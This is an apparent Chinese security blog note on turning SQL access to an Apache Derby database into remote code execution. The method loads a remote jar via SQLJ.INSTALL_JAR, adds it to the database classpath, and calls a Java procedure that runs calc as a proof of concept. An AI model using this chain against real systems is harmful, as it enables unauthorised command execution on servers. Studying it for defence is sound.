前言

前段时间遇到了一个后台可以操作数据库语句的地方，且使用的数据库为derby，derby数据库可以作为内嵌数据库，要知道H2数据库可以利用alias别名，调用java代码进行命令执行。猜测derby数据库也有相应功能，一直翻阅官方文档，终于找到了一种RCE利用方式，在这里记录一下~~~

利用过程

1、创建一个java 编译并打包成jar，放置在对应站点下，如：

```
import java.io.IOException;

public class testShell4 {
    public static void exec() throws IOException {
        Runtime.getRuntime().exec("cmd.exe /c calc");
    }
}
```

注意：方法要是static方法
2、sql语句部分如下：

```
## 导入一个类到数据库中
CALL SQLJ.INSTALL_JAR('http://127.0.0.1:8088/test3.jar', 'APP.Sample4', 0)

## 将这个类加入到derby.database.classpath，这个属性是动态的，不需要重启数据库
CALL
SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','APP.Sample4')

## 创建一个PROCEDURE，EXTERNAL NAME 后面的值可以调用类的static类型方法
CREATE PROCEDURE SALES.TOTAL_REVENUES() PARAMETER STYLE JAVA READS SQL DATA
LANGUAGE JAVA EXTERNAL NAME 'testShell4.exec'

## 调用PROCEDURE
CALL SALES.TOTAL_REVENUES()
```

实现RCE。

参考

https://db.apache.org/derby/docs/10.4/getstart/index.html